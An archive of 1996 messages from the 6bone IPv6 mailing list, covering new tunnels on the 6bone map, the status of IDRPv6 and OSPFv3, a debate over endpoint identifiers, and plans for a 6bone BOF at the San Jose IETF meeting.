|   Then on to IDRPv6 for exterior routing.  To that end I would like to
|   figure out at San Jose IETF the status of IDRPv6 from folks working on it.

====BT: Thank you Jim to have pointed this out.
	I want strongly support this point of view and would appreciate others
	-i.e manufacturers- to consider this as URGENT ...
	We need an exterior routing protocol to go ahead with 6bone first and
	then native IPv6 topology. I'm not sure we can keep this alive with
	RIP.
	About IDRPv6 status, we've to face that the ID has been deleted one
	month ago or so. Any volunteer to issue a new version ? I guess we do 
	need it.

|   If it still is not on target I will champion an effort with other
|   interested vendors to fund with real $$$$ a public domain implementation
|   vendors can use to get IDRPv6 up and running. 

====BT: same approval as above ...

|   I think GATED Consortia
|   may be ahead of me and that is where the $$$ need to go.  I just don't know
|   right now. 

====BT: I discussed this with Merit people during last RIPE meeting in Amsterdam.
	I was told the IPv6 stuff is not yet ready, but some there are working on.

|   I would like to see a prototype of IDRPv6 on the 6bone in 1997.
|   I view it from an engineering perspective as a MUST SHIP CRITICAL
|   priority for IPv6 on the 6bone.

====BT: sure. You know Telebit (DK) has an IDRP implementation, and sells its boxes
	since one year or so yet ... Do we want a Telebit backbone for the 6bone ?

  Regard,

  +Bernard Tuy.

From majordom@ISI.EDU  Wed Oct  9 00:36:50 1996
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Date: Wed, 9 Oct 1996 07:36:50 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new DIGITAL-CA/US tunnels
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6bone drawing version 27:

	new tunnel from DIGITAL-CA/US to CISCO/US
	new tunnel from DIGITAL-CA/US to UNH/US
	new tunnel from DIGITAL-CA/US to DIGITAL-NH/US

I assume the tunnels are running as Jim has indicated this, but I would
still like to see ping data in these requests as a general rule, as well as
the RIPE data for each end of the tunnel.


Also, the following RIPE registry stuff needs to be added/fixed:

G6/FR  tunnel to digital is not full name and is mispelled
DIGITAL-NH/US  has no tunnel shown to DIGITAL-CA/US
CISCO/US has no tunnel shown to DIGITAL-CA/US


I will try to sweep the RIPE db at least once to see if all the tunnels are
listed properly.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR
Date: Tue, 08 Oct 96 22:15:16 -0400
=46rom: bound@zk3.dec.com


Bob,

Can you get the map updated to show the tunnels directly to Cisco, and
UNH-Bay-Digital via UNH too on the 6bone drawing for our new addition
Digital-CA, in addition to the G6/FR tunnel.  We are setting up to
distribute packets from S.E. Asia (Singapore, Hong Kong, Thailand, etc..).
The connection is more than just to G6/FR.  We are by passing other hubs
on purpose in the spirit of laizze-faire and to make this look like the
real Internet.  We have chosen to provide routes to nodes via Cisco,
UNH, and G6/FR hubs.

p.s. On routing protocols.  I think the next step after RIPv6 is OSPFv6.
Then on to IDRPv6 for exterior routing.  To that end I would like to
figure out at San Jose IETF the status of IDRPv6 from folks working on it.
If it still is not on target I will champion an effort with other
interested vendors to fund with real $$$$ a public domain implementation
vendors can use to get IDRPv6 up and running.  I think GATED Consortia
may be ahead of me and that is where the $$$ need to go.  I just don't know
right now.  The $$$ would include some bright people to work on the spec
too.  I would like to see a prototype of IDRPv6 on the 6bone in 1997.
I view it from an engineering perspective as a MUST SHIP CRITICAL
priority for IPv6 on the 6bone.

thanks
/jim

- end



From majordom@ISI.EDU  Wed Oct  9 04:20:23 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 9 Oct 1996 11:20:23 PDT
In-Reply-To: bound@zk3.dec.com
       "Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR" (Oct  8, 10:15pm)
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
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  As of the last time I talked with the IDRP document authors, they were
indicating that they did not consider their draft fully cooked.  Until they
make sufficient progress refining their draft, it seems unwise to depend on
that.

  Similarly, my (possibly outdated) understanding has been that the OSPFv3 spec
was still evolving.  For example, there were some unresolved discussions about
whether the OSPFv3 spec could be changed to permit OSPFv3 to route both IPv4
and IPv6 (analagous to how Integrated ISIS works).  The feature of "integrated
routing" is one that our customers are clearly asking for.  Many customer
sites view integrated routing as critical to their ability to transition from
IPv4-only to IPv4+IPv6 routing.

  RIP can function fine as an exterior routing protocol in many environments, 
so lack of IDRP or OSPF is not necessarily an operational issue.  Depending
on how well RIPng converges, network service providers might find it desirable
to work on thoughtful provisioning but that is an operational issues for such
providers to sort out among themselves if/when such providers exist.

  Similarly, I'm hearing major commercial customers express dismay that IPv6
does not explicitly include support for EIDs.  

Ran
rja@cisco.com

-- 

From majordom@ISI.EDU  Wed Oct  9 05:09:36 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: 6bone@isi.edu, deering@parc.xerox.com
Subject: Re: IPv6 routing issues 
In-Reply-To: rja's message of Wed, 09 Oct 96 11:20:23 -0800.
             <199610091820.LAA26128@cornpuffs.cisco.com> 
Date: Wed, 9 Oct 1996 12:09:36 PDT
From: Steve Deering <deering@parc.xerox.com>
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>   Similarly, I'm hearing major commercial customers express dismay that IPv6
> does not explicitly include support for EIDs.  

Ran,

Since no two people seem to agree on what an EID is, it is hard to know how
to respond to such complaints.  Is this the "marketing" EID, the one that
solves all Internet addressing problems, kinda like the way "QoS" solves all
Internet performance problems?

Steve


From majordom@ISI.EDU  Wed Oct  9 12:00:16 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 routing issues 
In-Reply-To: Your message of "Wed, 09 Oct 96 11:20:23 PDT."
             <199610091820.LAA26128@cornpuffs.cisco.com> 
Date: Wed, 09 Oct 96 16:00:16 -0400
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>  As of the last time I talked with the IDRP document authors, they were
>indicating that they did not consider their draft fully cooked.  Until they
>make sufficient progress refining their draft, it seems unwise to depend on
>that.

Hmmm.  Mabye we need new authors in fact I am working off line now to
find some authors.  I was unaware anyone was actually working on IDRPv6?

>  Similarly, my (possibly outdated) understanding has been that the OSPFv3 spec
>was still evolving.  For example, there were some unresolved discussions about
>whether the OSPFv3 spec could be changed to permit OSPFv3 to route both IPv4
>and IPv6 (analagous to how Integrated ISIS works).  The feature of "integrated
>routing" is one that our customers are clearly asking for.  Many customer
>sites view integrated routing as critical to their ability to transition from
>IPv4-only to IPv4+IPv6 routing.

Well we have a pretty good OSPFv6 spec out there now and I am hoping Rob
Coltun does an implementation. So I am not concerned if it later has to
be updated to v3.

As far as I-IS-IS that is a nice to have but IPv4 and IPv6 routing is a
bit different than tunneling IP in CLNP or the other way around.
Besides Dimitry's routing-aspects draft covers this anyway so my gut
feeling is I-IS-IS is not needed for IPv4/IPv6 and knowing it well I
would say this is just a matter of explaining this to customers as
education.  As most likely the ones who want it are using I-IS-IS today
and thats not a lot of customers really.  Bottom line is you get
integrated routing with IPv6 for IPv4 automatically by definition of how
the architecture was designed for IPv6 and the relative specs.

I am also hearing from Friends there is a draft on TAGS to use up part
of the flow-label in IPv6 and I innately have a real problem with that
and will be bringing that to the IPng WG list soon.

>  RIP can function fine as an exterior routing protocol in many environments, 
>so lack of IDRP or OSPF is not necessarily an operational issue.  Depending
>on how well RIPng converges, network service providers might find it desirable
>to work on thoughtful provisioning but that is an operational issues for such
>providers to sort out among themselves if/when such providers exist.

True...  But IDRPv6 will provide a lot more to the telcos and ISPs.

>  Similarly, I'm hearing major commercial customers express dismay that IPv6
>does not explicitly include support for EIDs.  
>

I speak with a lot of customers and none have brought it up other than
in terms of DNS or LDAP to locate people not nodes on a network.  In a
tutorial I do and have done for two customers I go over the history of
how all this came about.  Both customers state what I just stated on
IPng and what Steve just responded, and that is but they cannot be
defined and I need more than one of them.

/jim


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To: <Bernard.Tuy@urec.fr>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone map change - DIGITAL-CA/US & CISCO/US tunnels to G6/FR 
In-Reply-To: Your message of "Wed, 09 Oct 96 10:21:51 +0200."
             <199610090821.KAA05641@titan.urec.fr> 
Date: Wed, 09 Oct 96 16:02:17 -0400
From: bound@zk3.dec.com
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|   I think GATED Consortia
|   may be ahead of me and that is where the $$$ need to go.  I just don't know
|   right now. 

>====BT: I discussed this with Merit people during last RIPE meeting in Amsterdam.
>	I was told the IPv6 stuff is not yet ready, but some there are working on.
>

Thats what I just got told where I work too.  Sounds like we should get
some more help for them.

>|   I would like to see a prototype of IDRPv6 on the 6bone in 1997.
>|   I view it from an engineering perspective as a MUST SHIP CRITICAL
>|   priority for IPv6 on the 6bone.
>
>====BT: sure. You know Telebit (DK) has an IDRP implementation, and sells its boxes
>	since one year or so yet ... Do we want a Telebit backbone for the 6bone ?
>

I did not know this.  It would be ideal if Telebit could help get the
draft done and work with GATED>?/??  Is that even a possibility?  

thanks
/jim


From majordom@ISI.EDU  Wed Oct  9 06:28:22 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 9 Oct 1996 13:28:22 PDT
In-Reply-To: bound@zk3.dec.com
       "Re: IPv6 routing issues" (Oct  9,  4:00pm)
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On Oct 9,  4:00pm, bound@zk3.dec.com wrote:

% Well we have a pretty good OSPFv6 spec out there now and I am hoping Rob
% Coltun does an implementation. So I am not concerned if it later has to
% be updated to v3.

I do not understand your comment.  
By the way,  OSPF for IPv6 == OSPFv3.

% As far as I-IS-IS that is a nice to have but IPv4 and IPv6 routing is a
% bit different than tunneling IP in CLNP or the other way around.
End of excerpt from bound@zk3.dec.com

I did not mention I-ISIS in my note (I was discussing integrated routing for
OSPFv3), though I do find your comments interesting in the context of the
Digital entry on the IPng web site, thinking particularly where it says
(quoted directly):

	"In addition, Digital intends to implement IPv6 in the 
	Integrated IS-IS routing protocol to allow an integrated approach 
	to routing of IPv4, IPv6, DECnet and OSI." 

Regards,

Ran
rja@cisco.com






-- 

From majordom@ISI.EDU  Wed Oct  9 22:38:39 1996
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Date: Wed, 9 Oct 1996 21:38:39 +0100
Message-Id: <199610092038.VAA21271@oberon.di.fc.ul.pt>
From: Pedro Roque <roque@di.fc.ul.pt>
To: rja@cisco.com (Ran Atkinson)
Cc: 6bone@ISI.EDU
Subject: IPv6 routing issues
In-Reply-To: <199610091820.LAA26128@cornpuffs.cisco.com>
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>>>>> "Ran" == Ran Atkinson <rja@cisco.com> writes:

    Ran>   Similarly, I'm hearing major commercial customers express
    Ran> dismay that IPv6 does not explicitly include support for
    Ran> EIDs.

Maybe we should move the EID argument to a "Strong ES models for IPv6" mailing
list. Also, there is already a full blown EID based soluction for IPv6, whose
base architecture document was recently published as an RFC:

RFC 1992  I   I. Castineyra, J. Chiappa, M. Steenstrup, "The Nimrod Routing  
              Architecture", 08/30/1996. (Pages=27) (Format=.txt) 

All in all, we can say the market as nothing to fear... At least not lack
of proposals, for sure.

regards,
./Pedro.

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To: rja@cisco.com (Ran Atkinson)
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Subject: Re: IPv6 routing issues 
In-Reply-To: Your message of "Wed, 09 Oct 96 13:28:22 PDT."
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% Well we have a pretty good OSPFv6 spec out there now and I am hoping Rob
% Coltun does an implementation. So I am not concerned if it later has to
% be updated to v3.

>I do not understand your comment.  
>By the way,  OSPF for IPv6 == OSPFv3.

Sorry.  I thought OSPFv3 was more than the attached abstract?
If its OSPFv3 is in fact the work going for the attached abstract yours
is the first mail I have seen referncing it as OSPFv3.  I reference it
as OSPFv6. ?????

---------------------------------------------------
  "OSPF for IPv6", R. Coltun, D. Ferguson, J. Moy,, 06/10/1996, 
  <draft-ietf-ospf-ospfv6-02.txt>                                          

    This document describes the modifications to OSPF to support version 6 
    of the Internet Protocol (IPv6).  The fundamental mechanisms of OSPF 
    (flooding, DR election, area support, SPF calculations, etc.) remain 
    unchanged. However, some changes have been necessary, either due to 
    changes in protocol semantics between IPv4 and IPv6, or simply to 
    handle the increased address size of IPv6.                             
    Changes between OSPF for IPv4 and this document include the following. 
    Addressing semantics have been removed from OSPF packets and the basic 
    LSAs. New LSAs have been created to carry IPv6 addresses and prefixes. 
    OSPF now runs on a per-link basis, instead of on a per-IP-subnet basis.
    Flooding scope for LSAs has been generalized. Authentication has been 
    removed from the OSPF protocol itself, instead relying on IPv6's 
    Authentication Header and Encapsulating Security Payload.   Most 
    packets in OSPF for IPv6 are almost as compact as those in OSPF for 
    IPv4, even with the larger IPv6 addresses. Most field- and packet-size 
    limitations present in OSPF for IPv4 have been relaxed.  In addition, 
    option handling has been made more flexible.                           
------------------------------------------------------
 

% As far as I-IS-IS that is a nice to have but IPv4 and IPv6 routing is a
% bit different than tunneling IP in CLNP or the other way around.
End of excerpt from bound@zk3.dec.com

>I did not mention I-ISIS in my note (I was discussing integrated routing for
>OSPFv3), though I do find your comments interesting in the context of the
>Digital entry on the IPng web site, thinking particularly where it says
>(quoted directly):
>
>	"In addition, Digital intends to implement IPv6 in the 
>	Integrated IS-IS routing protocol to allow an integrated approach 
>	to routing of IPv4, IPv6, DECnet and OSI." 

This is from your previous mail.

&  Similarly, my (possibly outdated) understanding has been that the OSPFv3 spec
&was still evolving.  For example, there were some unresolved discussions about
&whether the OSPFv3 spec could be changed to permit OSPFv3 to route both IPv4
&and IPv6 (analagous to how Integrated ISIS works).  The feature of "integrated
&routing" is one that our customers are clearly asking for.  Many customer
&sites view integrated routing as critical to their ability to transition from
&IPv4-only to IPv4+IPv6 routing.

I see the confusion...

I was referencing your analogy above of how I-IS-IS works and its not worth 
doing on a router that only supports IPv4 or even a Host based Router.  

As far as the WWW Page thats a true statement to support existing
customers to get to IPv6 from an environment where IPv4, DECnet, and CLNP
are routed on the backbone.  Note the WWW page said Digital would implement 
it not that we would go to standards bodies to propose the change.  Though 
that may happen.  My comment was for the majority of nodes on the Internet 
that are using only IPv4 developing a full blown I-IS-IS protocol for
IPv4/IPv6 seems like overkill to me.

Also I am mostly here as an individual (I cannot deny who pays for me to
spend my time on this) and if Digital wants to build I-IS-IS extensions
in the IETF I may disagree with my own fellow employees at Digital and
at the IETF.  I don't see the need.  Now as always I am always open to
listening and changing my mind.  

thanks
/jim


From majordom@ISI.EDU  Wed Oct  9 09:22:42 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 9 Oct 1996 16:22:42 PDT
In-Reply-To: bound@zk3.dec.com
       "Re: IPv6 routing issues" (Oct  9,  6:09pm)
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The OSPF draft that you cite specifies OSPFv3 not OSPFv2, as
the draft itself makes clear. 

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Wed Oct  9 16:27:15 1996
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Subject: Re: IPv6 routing issues 
In-Reply-To: Your message of "Wed, 09 Oct 96 16:22:42 PDT."
             <199610092322.QAA00793@cornpuffs.cisco.com> 
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OK Ran on OSPFv3... my misunderstanding....

thanks
/jim

From majordom@ISI.EDU  Thu Oct 10 12:08:34 1996
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Subject: Re: IPv6 routing issues
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From: "Brian Carpenter   CERN-CN" <brian@dxcoms.cern.ch>
In-Reply-To: <199610092038.VAA21271@oberon.di.fc.ul.pt> from "Pedro Roque" at Oct 9, 96 09:38:39 pm
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Pedro,

I don't see anything in RFC 1992 that covers the semantics of
Nimrod EIDs when a transaction is rehomed (as I've just been
discussing with Ohta over on another list). Otherwise, I agree
that it's a perfectly good abstract definition. We don't have
a concrete definition though. And we don't have consensus
whether IDs should be squeezed into the regular address, or
separated. (Nimrod makes an abstract separation between locator
and identifier, but we need bit layouts.)

  Brian

>--------- Text sent by Pedro Roque follows:
> 
> >>>>> "Ran" == Ran Atkinson <rja@cisco.com> writes:
> 
>     Ran>   Similarly, I'm hearing major commercial customers express
>     Ran> dismay that IPv6 does not explicitly include support for
>     Ran> EIDs.
> 
> Maybe we should move the EID argument to a "Strong ES models for IPv6" mailing
> list. Also, there is already a full blown EID based soluction for IPv6, whose
> base architecture document was recently published as an RFC:
> 
> RFC 1992  I   I. Castineyra, J. Chiappa, M. Steenstrup, "The Nimrod Routing  
>               Architecture", 08/30/1996. (Pages=27) (Format=.txt) 
> 
> All in all, we can say the market as nothing to fear... At least not lack
> of proposals, for sure.
> 
> regards,
> ./Pedro.
> 


From majordom@ISI.EDU  Tue Oct 15 02:18:01 1996
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Date: Tue, 15 Oct 1996 09:18:01 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a 6bone BOF at the San Jose IETF
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I have been asked by several folks to arrange for a 6bone BOF at the San
Jose IETF meeting in December.

In order to have a meeting at a regular time (as opposed to being jammed
into a lunch time which people have complained about) it is necessary to be
an "official BOF" which requires approval of an area director.

Also, a BOF leads to formation of a Working Group (from RFC 1603 on BOFs):

   -    All BOFs must have the approval of the appropriate Area
        Director. The Secretariat will NOT schedule or allocate time
        slots without the explicit approval of the Area Director.

   -    The purpose of a BOF is to conduct a single, brief
        discussion or to ascertain interest and establish goals for
        a working group. All BOF organizers are required to submit a
        brief written report of what transpired during the BOF
        session together with a roster of attendees to the IESG
        Secretary for inclusion in the Proceedings.


So the relevant questions seem to be:

1.  What do we have to discuss in San Jose about regular 6bone business as
we know it?

2.  Do we want to hold an "official BOF" to discuss the formation of a
Working Group (the details of what it might accomplish could be a topic for
the BOF along with 1. above)?


I'm willing to chair an initial BOF, if we chose to have one, and deal with
administrativia, if the group so wishes.


The Operational Requirements area seems to be the mostly likley one for any
6bone activity.  I have asked its co-Directors, Mike O'Dell and Scott
Bradner, if they would support having a BOF, if our "rough consensus"
discussions on the list supported it; they said yes.


As to what a 6bone Working Group might do, I looked at the new mboned
Working Group charter, as the 6bone is patterned after the mbone.  Clearly
there is a wide degree of acceptable goals for a Working Group.  We could
have goals as simple as documenting the existing 6bone structure in an
informational RFC (or at least I suspect we could).


Anyway, please comment on all the above so we can make a decision quickly
on securing the BOF time slot in San Jose.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
from RFC 1603 "IETF Working Group Guidelines and Procedures"

2.4. Birds of a feather (BOF)

   Often it is not clear whether an issue merits the formation of a
   working group. To facilitate exploration of the issues the IETF
   offers the possibility of a Birds of a Feather (BOF) session, as well
   as the early formation of an email list for preliminary discussion.
   Alternatively, a BOF may serve as a forum for a single presentation
   or discussion, without any intent to form a working group.

   A BOF is a session at an IETF meeting which permits "market research"
   and technical "brainstorming".  Any individual may request permission
   to hold a BOF on a subject. The request must be filed with the
   relevant Area Director. The person who requests the BOF is usually
   appointed as Chair of the BOF.  The Chair of the BOF is also
   responsible for providing a report on the outcome of the BOF.


Huizer & Crocker                                                [Page 9]

RFC 1603             IETF Working Group Guidelines            March 1994


   The AD may require the conduct of email discussion, prior to
   authorizing a BOF.  This permits initial exchanges and sharing of
   framework, vocabulary and approaches, in order to make the time spent
   in the BOF more productive.  The AD may require that a BOF be held,
   prior to establishing a working group, and the AD may require that
   there be a draft of the WG charter prior to holding a BOF.

   Usually the outcome of a BOF will be one of the following:

   -    There was enough interest and focus in the subject to
        warrant the formation of a WG;

   -    The discussion came to a fruitful conclusion, with results
        to be written down and published, however there is no need
        to establish a WG; or

   -    There was not enough interest in the subject to warrant the
        formation of a WG.

   There is an increasing demand for BOF sessions at IETF meetings.
   Therefore the following rules apply for BOFs:

   -    All BOFs must have the approval of the appropriate Area
        Director. The Secretariat will NOT schedule or allocate time
        slots without the explicit approval of the Area Director.

   -    The purpose of a BOF is to conduct a single, brief
        discussion or to ascertain interest and establish goals for
        a working group. All BOF organizers are required to submit a
        brief written report of what transpired during the BOF
        session together with a roster of attendees to the IESG
        Secretary for inclusion in the Proceedings.

   -    A BOF may be held only once (ONE slot at one IETF Plenary
        meeting).

   -    Under unusual circumstances an Area Director may, at their
        discretion, allow a BOF to meet for a second time. Typically
        (though not a requirement) this is to develop a charter to
        be submitted to the IESG.

   -    BOFs are not permitted to meet three times.


Huizer & Crocker                                               [Page 10]

RFC 1603             IETF Working Group Guidelines            March 1994


   -    A BOF may be held for single-event discussion, or may pursue
        creation of normal IETF working groups for on-going
        interactions and discussions. When the request for a BOF
        comes from a formally-constituted group, rather than from an
        individual, the rules governing the handling of the request
        are the same as for all other BOFs and working groups.

   -    When necessary, WGs will be given priority for meeting space
        over BOFs.


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
from mboned Working Group charter

Description of Working Group

The MBONE Deployment Working Group will be a forum for coordinating the
deployment, engineering, and operation of multicast routing protocols and
procedures in the global Internet. This activity will include, but not be
limited to:

- Deployment of multicast routing in the global Internet.

- Receive regular reports on the current state of the deployment of mbone
technology. Create "practice and experience" documents that capture the
experience of those who have deployed and are deploying various MBONE
technologies (e.g. PIM, DVMRP, CBT).

- Based on reports and other information, provide feedback to IDMR.

- Develop mechanisms and procedures to aid in the transition to native
multicast, where appropriate.

- Develop mechanisms and procedures for sharing operational information to
aid in operation of the global MBONE.

- Development of guidelines to improve the use of administratively scoped
multicast addresses.

- Develop mechanisms and procedures for creating and maintaining a MBONE
topology database.

This working group will initially interact closely with IDMR. It is
believed that, once hierarchical multicast routing systems are specified
and deployed, the working groups will diverge somewhat.

Goals and Milestones

will be subject to discussions within the working group.

Goals and Milestones:

Sep 96 Establish initial charter, goals, and long-term group agenda.

Sep 96 Submit Internet-Draft on inter-provider coordination of the
deployment of pruning mrouteds.

Jan 97 Submit Internet-Draft outlining requirements for the existing MBONE
infrastructure.

Apr 97 Submit Internet-Draft specifying the use of administratively scoped
multicast addresses.

Jun 97 Begin work, with RPS WG, on extensions to RPSL to describe multicast
routing policy.

Jun 97 Subnmit Internet-Draft specifying the use of aggregation for DVMRP
(and, in general where applicable). In addition, address the use of DVMRP
default.

Sep 97 Submit Internet-Draft specifying the use of native multicast where
appropriate (e.g. exchange points).

Sep 97 Begin work on document of co-existence strategies for IPv4 multicast
and IPv6 multicast.

Dec 97 Begin work on a document describing the deployment of inter-provider
hirearchical multicast routing coordination (or, when available).

- end



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Date: Tue, 15 Oct 1996 14:30:57 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: a 6bone BOF at the San Jose IETF
In-Reply-To: "15 Oct 1996 09:18:01 PDT." <"v03007800ae8963cf2f4f"@[128.3.9.22]>
To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Message-Id: <199610151930.OAA17744@gungnir.fnal.gov>
Content-Transfer-Encoding: 7BIT
X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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Bob,

There has been some expression on this list of an opinion that 6bone
work shouldn't be done under the IETF umbrella.  I disagree, but not
very strongly.  The idea of resurrecting the TACIT WG for our
purposes sprang to mind, but it seems to have evaporated after two
BOF meetings.  (I'm writing to Tony H to check, but that's all the
sign of it I can see.)

A 6bone BOF and subsequent WG would be fine with me.  There may be
organizations wishing to deploy IPV6 internally or with others, but
not wishing to join our 6bone, so another name such as "IPv6
Deployment" might be more inclusive.  But not as cool-sounding.

				Matt

From majordom@ISI.EDU  Tue Oct 15 11:50:18 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: a 6bone BOF at the San Jose IETF 
In-Reply-To: Your message of "Tue, 15 Oct 96 09:18:01 PDT."
             <v03007800ae8963cf2f4f@[128.3.9.22]> 
Date: Tue, 15 Oct 96 15:50:18 -0400
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Bob,

I think this would be very useful to determine if a WG could produce
something of value. I think a BOF would be a good idea.

/jim

From majordom@ISI.EDU  Wed Oct 16 00:48:31 1996
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Date: Wed, 16 Oct 1996 07:48:31 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: San Jose IETF 6bone BOF
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

As I have had nothing but positive comments on an "official BOF" at San
Jose, both online and offline, I have sent the following to the IETF agenda
folk to get it rolling.  My  concern is that waiting any longer will risk
not getting a time slot at all.

However, please keep the discussion up so we can maintain a focus at the BOF=
=2E

At worst, we decide no working group desired, report this to the area
directors and go our merry way.  Can't hurt :-)


As the requestor of the BOF, I will be its chair, but this has nothing to
do with what you decide to do for a working group.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
Date: Wed, 16 Oct 1996 07:38:40 -0700
To: agenda@ietf.org
=46rom: Bob Fink LBNL <RLFink@lbl.gov>
Subject: arranging for a 6bone BOF at the San Jose IETF
Cc: mo@uunet.uu.net, RLFink@lbl.gov, sob@harvard.edu

Per Scott Bradner's email below, I am requesting an agenda slot at the San
Jose IETF meeting for a 6bone BOF under the Operational Requirements Area.

It would be mosty helpful to not have this scheduled against IPng meetings
as this is a highly related activity, and of course no one wants Fridays :-)


The purpose of this BOF is to decide if a 6bone deployment working group
would be helpful to the 6bone process that is already underway, and to
discuss other ongoing items of 6bone business.  You can see current 6bone
information at:

	http://www-6bone.lbl.gov/6bone/

I have also enclosed an overview of the 6bone activities below.


The agenda will be:

1.  Discussion of usefulness and goals of a 6bone deployment working group

2.  Ongoing 6bone business


I will act as chair of the BOF and be responsible for its report and roster.

Please let me know what else you may need to aid in setting this BOF up.


Thanks,

Bob Fink


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
Date: Fri, 11 Oct 1996 16:18:24 -0400 (EDT)
=46rom: Scott Bradner <sob@newdev.harvard.edu>
To: mo@uunet.uu.net, RLFink@lbl.gov, sob@harvard.edu
Subject: Re: 6bone BOF for the IETF in San Jose

Bob,
	Sorry for the delay in getting back to you - yes, I think
it is fine for you to hold a 6bone BOF

	you need to do a writeup on what the BOF is about and an agenda
and send them to agenda@ietf.org with a cc to mike & me

Scott
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
6bone Overview (from the 6bone web pages)

The 6bone is an independent outgrowth of the IETF IPng project that
resulted in the creation of the IPv6 protocols intended eventually to
replace the current Internet network layer protocols known as IPv4. The
6bone is currently an informal collaborative project covering North
America, Europe, and Japan.

One essential part in the IPv4 to IPv6 transition is the development of an
Internet-wide IPv6 backbone infrastructure that can transport IPv6 packets.
As with the existing IPv4 Internet backbone, the IPv6 backbone
infrastructure will be composed of many Internet Service Providers (ISPs)
and user networks linked together to provide the world-wide Internet.

Until the IPv6 protocols are widely implemented and fully tested for
interoperability, production ISP and user network routers will not readily
place production Internet (IPv4) routers at risk. Thus a way is needed to
provide Internet-wide IPv6 transport in an organized and orderly way for
early testing and early use.

The 6bone is a virtual network layered on top of portions of the physical
IPv4-based Internet to support routing of IPv6 packets, as that function
has not yet been integrated into many production routers. The network is
composed of islands that can directly support IPv6 packets, linked by
virtual point-to-point links called "tunnels". The tunnel endpoints are
typically workstation-class machines having operating system support for
Ipv6.

Over time, as confidence builds to allow production routers to carry native
IPv6 packets, it is expected that the 6bone would disappear by agreement of
all parties. It would be replaced in a transparent way by production ISP
and user network IPv6 Internet-wide transport.

The 6bone is thus focused on providing the early policy and procedures
necessary to provide IPv6 transport in a reasonable fashion so testing and
experience can be carried out. It would not attempt to provide new network
interconnect architectures, procedures and policies that are clearly the
purview of ISP and user network operators. In fact, it is the desire to
include as many ISP and user network operators in the 6bone process as
possible to guarantee a seamless transition to IPv6.
